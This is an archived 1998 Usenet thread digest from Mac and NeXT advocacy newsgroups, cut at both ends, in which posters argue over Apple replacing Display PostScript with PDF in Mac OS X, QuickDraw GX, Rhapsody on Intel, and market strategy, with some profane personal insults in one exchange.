here from bureaus that we know/use, and they suggest that by the time MacOS X
ships PDF will be even better accepted than it is now. There is increasing
support for it for printshop workflow, OPI etc. PDF is the direction that
the technology is moving in. With MacOS X Apple will be hitting the market
with the right product at the right time.
> So where are we today?
> Apple says that they are replacing DPS in Mac OS X because of licensing
> issues and because of problems it had in multithreaded situations. And no,
> they're not replacing it with some sort of Diplay Ghostscript, the highly
> praised client-server display system is being tossed out because it's not
> optimal for multimedia. And yipes, there is even a runtime fee for the
> Windows YellowBox! Gads, I never would have seen that coming......
>
Engineering is about compromises. The situation's changed, the market is
changing, different priorities now apply. Explain to me how things would be
better with GX. Would DR1 have shipped yet?
> :we've been
> :saying that *most people don't use PostScript directly*,
>
> Which only strengthens some of our original arguments against it. Since
> most developers didn't have to use it directly, there was no real need for
> it in the first place. It could only cause licensing problems, and
> surprise surprise, it did. Now, Apple's in the process of ripping all
> traces of DPS out of the Appkit. Had they started when they first
> purchased Next, we might not have to wait 18 more months for Mac OS X.
>
Utter tosh.
I repeat the question above:
Explain to me how things would be better with GX. Would DR1 have shipped
yet?
Explain this in the context of DPS and PDF using the same imaging model, and
how, given that functions such as PSlineto and PSmoveto will remain, that
this means that "Apple's in the process of ripping all traces of DPS out of
the Appkit".
> :and even in applications such as PasteUp it has been pointed out that
> there are :*very few lines of PS*.
>
> However, there are OpenStep apps which rely on the presence of a
> Postscript interpreter.
>
Name them. And then explain why their authors don't seem to be too bothered
about switching to PDF.
> How will Yellow apps render Postscript files without DPS?
>
Probably using a third-party app, or as a PDF file after pushing the file
through a distiller.
How would GX render PostScript files?
> Probably by writing their own PS interpreters. Folks who
> never had to touch Postscript before might have to learn quite a bit more
> than they ever wanted to about it.
>
Twaddle. There will now be even less reason for people to know much about PS
than before. What's your alternative -- sit down and learn the 3000 pages of
GX documentation you've been yammering about ad nauseum?
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 25 May 1998 15:11:21 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kc1mp$5tr$1@ns3.vrx.net>
References: <6kb49o$ele$2@geraldo.cc.utexas.edu> <1998052518581700.OAA09788@ladder01.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: willadams@aol.com
In <1998052518581700.OAA09788@ladder01.news.aol.com> WillAdams claimed:
> Kurt D. Bollacker said:
> >It's rather pathetic that
> >Apple will release an OS that will be 7 years newer than my old NeXTSTEP
and
> >will have such glaring inferiorities. Eventually, I'll have to upgrade my
> >hardware, but it really is annoying to significantly downgrade my software
> >in the process.
Let me see if I have this right:
a) moving to the Mk7.3 (3.0++) kernel
- with RT support
- with transparent multi-CPU clustering
- with proven support for n-way CPU's to no real limit
- with CORDS
b) move to 4.4BSD
c) POSIX compliance to a "very high" degree (ie, total)
d) new NS objects that have been sadly missing for years
e) much faster graphics engine
f) MacOS application support
g) any number of fixes and other improvements
vs.
1) no NXHosting.
You want me to consider this to be a "significantly downgrade [of] my
software"? You are joking, right?
> This really sums it up, doesn't it?
Yes it does.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 25 May 1998 11:48:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18F0AF6-7B80@206.165.43.100>
References: <antispam-2505981318110001@ppp25.subnet252.wesleyan.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
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don rastus <antispam@nowhere.com> said:
>
>Joe and others are absolutely correct. I don't expect much support with
>such antiquated hardware, and trust me, if I _needed_ the upcoming
>AppleWorks 5.0, well, I'd certainly want to have a faster and newer
>computer anyway. (Although ironically enough I can run AppleWorks right
>now... v1.2 for the IIe, through my Apple IIe card ;)
An upgrade for AppleWorks X.x will cost you about $100.
An upgrade for your computer to the latest and greatest will be about
$1500.
You're saying that you're willing to pay $1500 in order to run a $100
upgrade, even though there will be no perceptible difference in speed,
except in boot time?
Small wonder PC users laugh at Mac users.
----------------------------------------------------------------------
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3569bfb7.0@206.25.228.5>
Date: 25 May 98 19:00:07 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Absolutely true.
> But Michael said he doesn't know anyone who's not willingly
> choosing MS.
> I suspect you'll find a large percentage of Linux users in the
> same boat.
Oh, I'm sorry. That'll teach me to come into the middle of a
thread. Mia, copa. Absolutely true. There is such a segment.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Mon, 25 May 1998 17:29:47 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2505981729480001@165.254.59.52>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <aa829-2305981112520001@port11.dialb2.gain-ny.com> <6kb49o$ele$2@geraldo.cc.utexas.edu>
Mail-Copies-To: always
In article <6kb49o$ele$2@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Would you rather have two CPU's in your PC or one?
All other things being equal, I would rather have the functionality
integrated into a single chip. It would be faster, it would be cheaper,
and it would be more likely to be included on every model Apple ships.
The 68K line started out with separate FPU and MMU chips that got folded
into the CPU as the 68k evolved, and this was generally regarded as an
improvement.
As matthewv has posted, when the PPC first came out, it killed the market
for add-on DSP cards (like the Radius Thunder). This is because the PPC
can do DSP-like stuff on-board faster than it takes to ship the data to a
dedicated DSP chip, process it, and ship it back.
> Even Intel acknowledges the need for a DSP in a PC (a la MMX).
MMX was a marketing ploy. It didn't result in significant speedups to
end-users. MMX existed mainly to give the illusion of faster Pentiums
during the period when Intel was struggling to get the Pentium II into
production. They don't talk about it much today.
> DSP is not related to this, only NXHosting.
Sorry, I meant DPS. DPS is the technology that makes NSXhosting
possible. When they killed DPS, NSXhosting went with it. In my opinion,
it isn't worth keeping a DPS-based graphics architecture just to finesse a
totally-unrelated license problem with MS.
> : 1(b). There is nothing in OS-X preventing someone from implementing a PS
> : interpreter for EPS import. Apple said that they couldn't include
> : GhostScript in the OS for licensing reasons, but that it could easily be
> : adapted for this purpose.
>
> Ahhh. But will it be there? I'm not willing to gamble.
You don't have to gamble: you're not going to purchase MacOS X before it
ships, are you? Developers have to gamble about what will be in next
year's OS, but not end-users. Just wait and see.
> I can get by without DPS, but then Linux is a superior OS (for me personally)
> than OSX will be.
You should see what kind of graphics OSX has before you write it off.
It is very likely that the apps you use will support PDF export/import
when they appear on the OSX platform, because virtually all graphics apps
support the native graphics file-format of the platform they appear on.
In that case, no one will miss EPS much.
> : People have been transferring files to and from Macs for years without
> : "having to deal with fork issues." Either use a client that is fork-savvy
> : or use a file-system (like UFS) that doesn't have forks.
>
> How? Name a fork-savvy UNIX client.
All current MacOS ftp-clients are fork-savvy, because the MacOS uses HFS.
Any ftp-client written for or ported to OSX (be it yellow-, bsd-, or
carbon-based) will be aware of forks, because HFS+ is a supported disk
format. This is a non-issue.
> Even in UFS, forks must be represented somehow.
Under Rhapsody, I believe Mac-files are put in an AppleSingle-type wrapper
when they are on an UFS volume. I expect OSX to do the same.
> I will, but my machine is already 6 years old. It's rather pathetic that
> Apple will release an OS that will be 7 years newer than my old NeXTSTEP and
> will have such glaring inferiorities.
"Glaring inferiorities" like having to use a third-party add-on to do EPS
importing?
I think most rational users will not care much where the EPS-importer
comes from, as long as it works. In fact, they may not even use EPS if
there are other export/import formats (like PDF) that work just as well.
> : It's a meaningless comparison. Perl scripts and AppleScripts don't do the
> : same thing. Perl is a language mainly for the manipulation of text
> : strings. AppleScript is a scripting language mainly for controlling MacOS
> : apps (and now YellowBox apps), using the OSA architecture. There are few
> : cases where these two tools could be substituted for each other.
>
> Uhh. No. Perl can quite handily control UNIX apps. (at least text based and
> client/server based ones) It does handle text very well. And you are
> wrong about substitution.
I didn't say perl couldn't control UNIX apps, I said it couldn't handle
OSA apps. This is what AppleScript was designed to do and does quite
well.
> And you are wrong about substitution. Someone would need to write
> the "OSA architecture"
> API package for perl, but it probably would work just as well as any
> other scripting language.
Sure, perl could be extended someday, and probably will be. But the
MacPerl we have today is not a substitute for AppleScript. They are
partners, not rivals.
Rgds
--
mingo "at" panix "dot" com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Howabout Something Better than what we have now? (Was Re: End of
WYSIWYG
Date: 25 May 1998 12:43:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18F17D4-38174@206.165.43.100>
References: <6kca7d$d5n$7@ironhorse.plsys.co.uk>
To: "GX-Talk" <gx-talk@aimed.org>, "AIMED-Talk" <aimed-talk@aimed.org>,
"mmalcolm crawford" <malcolm@plsys.co.uk>
Cc: "Warner Onstine" <raestarr@hotmail.com>, "Eric King" <rex@MIT.EDU>,
"Dave Opstad" <opstad@apple.com>, "Daniel Lipton"
<daniel_lipton@powertalk.apple.com>, "Humayun Lari"
<hlari@larisoftware.com>, "Tom Dowdy" <dowdy@apple.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> said:
[using GX instead of DPS from the start of the NeXT-purchase]
>Yes, and what's different now?
>re the *huge* task (which you note will take Apple one and a half years):
>
Had they decided to use GX from the beginning, or at least, as a backup
strategy, they wouldn't have had to wait this long to provide a workable
solution. For that matter, they could have been working on an OOP
replacement for GX for Yellow Box and Carbon as soon as the ink was dry on
the purchase, using the internal engine that they are using now, anyway,
without taking the time to try to enhance DPS for SMP and so on.
>(a) What part of "it uses the same imaging model" don't you understand;
>(b) explain how replacing DPS with GX instead of PDF would make the task
>easier.
Howabout: they wasted months and months of time that could have been spent
on something more sophisticated than what we now have because what we now
have could have been announced as soon as the ink was dry?
On a slightly different topic, I've been thinking (insomuch as I am capable
of this difficult process, eh?)
There IS an upside to using the "PDF model," but it certainly isn't that it
is PDF. Since PDF *does* have a binary format that is extensible, you can
use it exactly as Mike Paquette said, as a metafile format for graphics.
The generic format that can be exported to any system for non-editable
display would be plain ole PDF images. However, internally, other models
can be used and stored in the same PDF file as non-standard PDF objects.
The entire GX flattened shape file system could be stored in this manner,
as well as any other graphics format that Apple or a 3rd-party devises with
no real loss of efficiency (although space could be a factor for large
images or collections of images).
Applications that only know about the default PDF objects can still
*display* a Carbon/YB-II graphics image, while more sophisticated
applications could extract GX-like flattened shapes/pictures for more
sophisticated editing. Any time such an image is edited and saved, it could
be saved in both standard PDF format AND in the more sophisticated format,
if desired, in the same file, much as OpenDoc files allow more than one
instantiation of the same data for display with less capable part-editors.
If THAT is what Apple has in mind when they talk about PDF (with reference
to Mike's oblique reference to PDF-as-metafile-format), then using PDF is a
Very Good Thing.
BTW, rather than argue about which model is better, why not work to design
a new one that is simply better, period?
I mean, what is wrong with taking a superset of the capabilities of GX,
Taligent, DPS/PDF and the various YB imaging classes and creating something
that is lightyears beyond any of them?
In the future, the default model for Carbon/YB-II imaging shouldn't be
plain ole PDF, but this more sophisticated model. I believe that it is
possible to directly use shared object-oriented libraries via the CFM. In
that case, it should be possible to create a retained-mode graphics library
that uses a GX-like syntax but allows extensibility for use in Carbon. If
this isn't feasable, a GX-like syntax using the base set of graphical
objects could still be used by Carbon-based apps, allowing a more
sophisticated graphics model than what has thus far been announced, with a
static set of objects available on the carbon side, but full
OOP-extensibility available on the YB-II side.
This system should go beyond the announced "enhanced QD" in several areas,
including better support for 3D (using at least a 3X3 transform matrix ala
GX and QuickTime), as well as providing GX-/Taligent-like retained mode
graphics and a GX-like editable printing model (do you really think that
PDF pre-press offers any advantage over GX?).
Support should be provided to allow transmission of this retained mode
model over the internet ala QTML's vector graphics, and allow for scripting
of the editing of these images using QuickTime Interactive (HyperCard 3.0)
so that QT movies could be used to automated pre-press.
I think that NURBS should be the basis for curves rather than cubic
splines. That way, you can work directly with imported GX shapes and export
QTML vector shapes as well as work with natively with PDF's cubic splines
(the NURBS model handles both quadratic and cubic splines by default), and
could produce generic 2D objects for further manipulation in QD3D and
OpenGL.
Any issues with exporting NURB-based objects to the generic PDF image
format would be handled by Apple's own translators rather than by every
3rd-party-for-itself, thereby doing away with the usual problems with
non-PS-based WYSIWYG graphics. Apple did it pretty well for GX, so they
should be able to do it well for this model, also.
The color model should be the superset of GX and enhanced QuickDraw, with
complete support for GX-like ink objects and transfer modes, even for
bitmaps. The typography should be extended to handle ALL of GX's advanced
features instead of the subset that fits into the QuickDraw model. Nested
graph-ports should be supported (if they aren't already in QDe) so that we
can work with a more sophisticated threaded graphics engine. Taligent
allows this kind of thing for threads, but only so long as there is a
linear tree of viewports with no branches. Non-threaded graphics should
support the multi-branched, nested view-port model that GX currently
supports.
There's a LOT that could be done to design a better Carbon/YB-II graphics
system with the best features of GX, Taligent and YB-I graphics. Why don't
we take such a discussion to GX-talk and work on it there?
HOW DO I SUBSCRIBE TO GX-TALK?
---------------------------------
To subscribe to GX-TALK proceed as follows:
Send E-mail to:
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Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 25 May 1998 13:05:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18F1D0C-4BB8C@206.165.43.100>
References: <356999BD.70545488@localhost.localdomain>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
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Remco Post <root@localhost.localdomain> said:
>William Edward Woody wrote:
>
>> Embedded processors, on the other hand, don't have the luxury of
>> shipping in large volumes
>[big snips]
>
>and all people ever told me was that the embedded market was MUCH larger
>(10 to 100 times) than the desktop market, somebody must be mistaking.
>
I was wondering about that myself. I've always been told that *profit
margins* are lower, but volumes are often MUCH higher, which can more than
make up for the lower margins.
----------------------------------------------------------------------
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----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 15:05:14 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3569CEFA.836979BC@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net> <6kbo5o$qt5$2@ns3.vrx.net>
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NNTP-Posting-Date: 25 May 1998 20:10:20 GMT
Maury Markowitz wrote:
>
> In <3569969D.5E99D336@nstar.net> "Michael J. Peck" claimed:
> > No. Maybe it's just the industry I work in, but I never hear of people
> > going to "Windows". They're going to NT.
>
> Really? I've _never_ heard anyone refer to NT as "Windows". I have
> _never_ heard of anyone refer to Windows and mean _specifically_ NT. In
> fact, I do not believe your claim above and believe it is a fabrication or
> gross exaggeration.
I have no idea what you mean at this point. I think you're Hooked on
Semantics, so I won't bother at this point.
> Exactly. Their track record over the last five years is pathetic and any
> such promise is greeted with INCREADIBLE sceptism - and rightfully so.
This is a stupid generalization. You're basically arguing that they
should break promises they've already made (Rhapsody will be
cross-platform) to avoid breaking promises they might make in the future
(Rhapsody will run on a specific platform).
> If Apple says that Rhapsody will be on Mac and Windows, many people (not
> all by any means) will believe them. If they say it will be available on
> Mac, Windows, Linux. Solaris and DEC Unix, NO ONE will believe them.
Why the hell wouldn't they? You don't seem to have a clue what it is
that Apple does that makes us all so skeptical. Let me give you some
examples:
The cloning program
Copland
Game Sprockets
Maybe you still don't get it. Let me explain: Apple almost always starts
what it says it will start. The problem is not that Apple outright lies
or goes back on promises. The problem is that Apple has a tendency to go
halfway and then fuck up and can the whole project just when it's
looking promising.
If Apple says it will ship Rhapsody on Mac, Windows, Linux, Solaris, and
DEC Unix, I have absolutely no doubt they'll do something like that. I
would even expect to see versions running in beta within, oh, a year.
MY skepticism would come into play right about the time such products
ship. I'd be looking for a Steveing on the whole thing at just about the
point Rhapsody began to get some good press. "What, the product's
successful? Kill it!"
You need more examples? Newton, eMate, Claris Emailer.
Duo Dock, GeoPort, Apple Network Server.
> At this point Apple does not have the manpower needed to complete a Linux
> port, or any other than the current deliverables. They have no ability to
> deliver these so obviously, as you note, they shouldn't say they are going
> to.
BULLSHIT. A Linux port from BSD sources?!? Are you fucking around with
me?
> In fact this is the big issue for the Intel version in general. The number
> of Mach||YB-savvy people in Apple is too small as it is.
Oh, for the love of God, if it's so hard to port the product is major
bomb anyway. The problem with your argument is that I don't believe it
for a second. I don't know what Mach has to do with a Linux port anyway.
> A very large market? Surely you jest. Could this market for GUI desktop
> apps be larger than, say, 5 million? I seriously doubt it.
5 million dollars? Are you joking? Please say that you are. FedEx spent
at least that much money every 6 months on revising its weather-tracking
software.
Maybe you mean 5 million seats. Who cares how many seats are involved? I
thought this was about revenue.
> And this is used by exactly how many people? 50k? Is this the "large
> market" you refer too?
What... You don't understand the corporate market, I guess. This isn't
about seats.
> > Just out of curiosity, what makes you say this?
>
> The simple fact that more people run MacOS than all Unixes combined, and
> likely outnumbers desktop deployment 10 to 1. The fact that Windows
> outnumbers MacOS in the same way by another 10 to 1.
>
> It's called "basic math".
The amount of money spent on a Unix user as compared to a MacOS user is
probably also 10 to 1.
Dollars to users, I'd say my basic math beats yours.
> I did not say anything of the sort. I said the DEVELOPERS on those
> platforms are generally developing SERVER apps.
What do you think they're developing on NT, Maury?
> I have _never_ seen a Solaris box being used for productivy apps.
Bingo. I figured this is what you were getting at all along. How funny.
> I believe
> this is the general case and I refuse to allow you to explain this away as
> some sort of limited visibility on my part.
Oh, you're right about productivity apps, Maury. What your "limited
visibility" is preventing you from seeing is that the world uses
anything besides "productivity apps".
> A GUI wrapper for Apache doesn't make it a client side productivity app.
> It makes it a server app with a GUI wrapper.
Hm, I don't remember bringing up that example.
> > That's _really_ untrue. Linux and Solaris sell to different markets, a
> > fact that Sun has demonstrated by endorsing Linux and lending it
> > credibility.
>
> Exactly, and those different markets is all the difference in my argument.
> This is painfully clear, yet you missed it.
Oh, this has got to be the best part of the whole thread. You try to
explain away Solaris on the basis of a growing Linux market, and when I
point out that they're different markets altogether (with no specific
context as a basis for that difference) you claim that that difference
is your whole point.
I'm reminded of Valentine Michael Smith talking about the English
language, and how certain words are like "lifting water with a knife".
You've managed to pick a subset of the language and make it mean
anything you like at any give point in time. As soon as I inevitably
cross one of your words or phrases, I'm automatically agreeing with you.
How novel. Why don't you take a moment and figure out exactly what
you're trying to say and show me exactly what makes you think the Unix
market (apart from Linux, I suppose) is so weak and frail and worthless
for Yellow Box deployment.
> > The Linux solution is Yellow Box (Concert) for Linux.
>
> I don't think so.
I don't understand. You're going to ask 5 million Linux users to replace
their operating system with a different one?
I'm such a fool. Here I was all along, thinking you actually got it. Now
I see I was wrong.
> > Name a developer who doesn't benefit from total market coverage.
>
> Me.
I see. You're making so much money from your current development that
you can't possibly benefit from automatic deployment on other platforms.
Where do I sign up?
> > developers I know would give their right arms to sell into the Unix
> > market with an existing app.
>
> Really? Would they still think so if that meant their Win/Mac product had
> to be delayed one year?
Why would it be delayed a year?
> > They're tired of razor-thin margins in the
> > consumer space and they want corporate contracts. That's why anybody
> > with a brain has already ported to NT.
>
> Does Word for NT sell for more than Word for Win95? No.
Yuck, you're still stuck on your little desktop apps. This is
frightening.
> In fact I can
> name no product that does except for ones that ONLY run under NT. Can you
> provide any examples? Even one?
Oracle for Unix costs about twice what Oracle on NT costs. This is
because the performance of Oracle on Unix is about twice what Oracle on
NT is.
By the way, if we start talking about apps you can't relate to, let me
know. I'd hate to tear this conversation about *enterprise app
development* away from Microsoft Office and other applications you're
familiar with.
Maury, I'm not trying to embarass you. I'm trying to get through this
shield you seem to have erected, one that says [robotic voice] "the only
apps people use are word processors. the only apps people use..."
> > What?! NT gives you that.
>
> NT gets you about 3% market coverage.
1) Win32 gets you NT and Win95.
2) Define your market. The enterprise market has a much different
demographic than what I suspect you're referring to. I get the sense
that you see SS6000 and K-class servers as just "big desktop boxes".
> Another seemingly productive thread killed by your silly nitpicking points
> and unrealistic views. I bow out (again).
Oh, congratufuckinglations. You've managed to worm about like some
semantic slinky avoiding any thoughtful engagement, and even managed to
stick some jabs at a conversation that obviously went completely over
your head.
Now you bow out and take the moral high ground. How princely.
MJP
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Mon, 25 May 1998 17:54:43 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2505981754430001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3> <6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3> <3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk>
In article <6kca7d$d5n$7@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
:There are clear replacements in sight for NSHosting: Mike Paquette stated
:that the hooks will be there; Wilfred Sanchez said that Apple intends to
:support this eventually. This is not a situation "with no clear replacements
:in sight".
By clear, I mean a product name and a realistic ship date. Those have
not been provided. We're not really in much disagreement here, we both
think that Apple or someone will eventually provide a solution. However,
I'm not idealistic enough to definitively say that there *will* be a
solution.
:If there are, they're wrong. Explain to me how they're right.
Why don't you ask them yourselves? There have been several posts in
this newsgroup and comp.sys.next.programmer about it.
:So? This has been argued ad nauseum. cf dejanews December 1997 - present.
So, I'd like to see more innovative apps like Lightning Draw GX being
written. Most of LD GX's coolness resulted from Lari having access to a
very high level graphics library. I'm sorry, I've seen demos of Create,
and it just didn't impress me as much as LD GX.
:I'd have thought this would make you a bit happier. There seems to be no
:pleasing some people.
:Yes, and what's different now?
:re the *huge* task (which you note will take Apple one and a half years):
It's a task they should have started when they first acquired Next. A
mass market OS developer *needs* direct control of their core display
technology.
:(a) What part of "it uses the same imaging model" don't you understand;
Actually this term 'imaging model' is being tossed around a lot. I'm
interested to hear what your definition of it is.
:(b) explain how replacing DPS with GX instead of PDF would make the task
:easier.
Uh, less code to write? As a drawing engine most of the quirks have
already been worked out and they were pretty far along with an NT port. In
addition, I believe people have already written PDD to PDF converters.
Most new code would probably be for a window manager and changing how GX's
memory management and VM worked. Of course, since they've laid off most of
the GX team, management would rather write something new than admit that
they may have been a bit too hasty with the pink slips.
:> that Adobe would have to be crazy not to come to reasonable licensing
:> terms with Apple.
:>
:I don't recall making such a statement myself.
You know quite well that other OpenStep users have though.
:This probably remains true -- we haven't seen yet how EPS will be handled.
:Maybe as badly as it is on the Mac at the moment.
Probably so in the beginning, but I could see someone writing an EPS
rendering component for Yellow apps. It probably wouldn't help Carbon
apps, though. I don't think there's much hope of a universal EPS display
service.
:I don't recall NSHosting being mentioned in the context of DPS prior to this
:year's WWDC. Explain to me again how GX would offer this facility?
It wouldn't by itself because it's just a drawing engine. Unlike the
kitchen sink that was DPS.
This is actually one of my biggest criticisms about OpenStep. You have
all of these wonderful layers of abstraction throughout the system
*except* when it comes to graphics. Too much functionality was dependent
on that standalone DPS server. Take it away and you have all sorts of
problems:
No drawing engine
No window manager
No remote hosting
No universal support for EPS files and Postscript
No high level geometric capabilities
And to some OpenStep users no WYSIWYG
All of these capabilities could have been abstracted and made
replaceable. Maybe Next didn't have the resources or time, or maybe they
just didn't see the need since they were in a different market, but now
Apple has to go through and clean out the dependencies.
: PDF is the direction that the technology is moving in.
True enough, but that is because Postscript is a truly awful format for
document interchange and editing. Part of the reason why Apple designed GX
was because of the problems publishing pros had working with Postscript.
PDFs and GX's PDDs were released at almost the same time to serve many of
the same purposes. Anyone with SimpleText could view a GX PDD. Anyone with
Acrobat could view a PDF. However, PDDs were smaller, easier (i.e. free)
to make, and rendered faster than Acrobat documents. Apple, however, was
quite wonky with its GX support, and Adobe was downright uncooperative.
Hence PDF prevailed.
: With MacOS X Apple will be hitting the market
:with the right product at the right time.
Maybe, maybe not. We still don't know precisely what Apple's tools will
allow one to do with PDFs.
:Engineering is about compromises. The situation's changed, the market is
:changing, different priorities now apply.
Oh, good grief. They haven't changed that much, it's just taken the new
Next-centric management this long to realize what the real situation is
and what their priorities should have been in the first place.
: Explain to me how things would be
:better with GX. Would DR1 have shipped yet?
Sure. Ever hear of parallel development? DR1, DR2, and maybe even CR1
could all have used DPS, the mass market one could have used GX or
Taligent's code. In case you haven't noticed, Apple pretty much has to do
this any way.
:Explain this in the context of DPS and PDF using the same imaging model, and
:how, given that functions such as PSlineto and PSmoveto will remain, that
:this means that "Apple's in the process of ripping all traces of DPS out of
:the Appkit".
First give me your definition of imaging model. Second the PS* commands
are pretty basic commands and could be easily replicated with GX or other
graphics libraries. They are not necessarily reliant on Postscript.
:Name them. And then explain why their authors don't seem to be too bothered
:about switching to PDF.
For now DPS support is more important since Rhapsody will be shipping
soon with DPS. The PDF stuff is 18 months off. They'll probably wait until
after Rhapsody ships to worry about it.
:How would GX render PostScript files?
Someone has already written a shareware PS->GX converter. The
conversion is rather slow (they didn't optimize it), but overall pretty
good.
-Eric
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 25 May 1998 16:42:35 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kc71r$997$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net>
<6kbo5o$qt5$2@ns3.vrx.net> <3569CEFA.836979BC@nstar.net>
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Cc: mjpeck@nstar.net
In <3569CEFA.836979BC@nstar.net> "Michael J. Peck" claimed:
> This is a stupid generalization.
> You don't seem to have a clue
> BULLSHIT. A Linux port from BSD sources?!? Are you fucking
> around with me?
> Oh, for the love of God,
> 5 million dollars? Are you joking?
> What... You don't understand the corporate market, I guess.
> I'm such a fool. Here I was all along, thinking you actually got it.
> Yuck, you're still stuck on your little desktop apps. This
> isfrightening.
> Oh, congratufuckinglations. You've managed to worm about...
Great insulting message Mike. A perfect example of why there's no reason
to talk to you whatsoever.
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
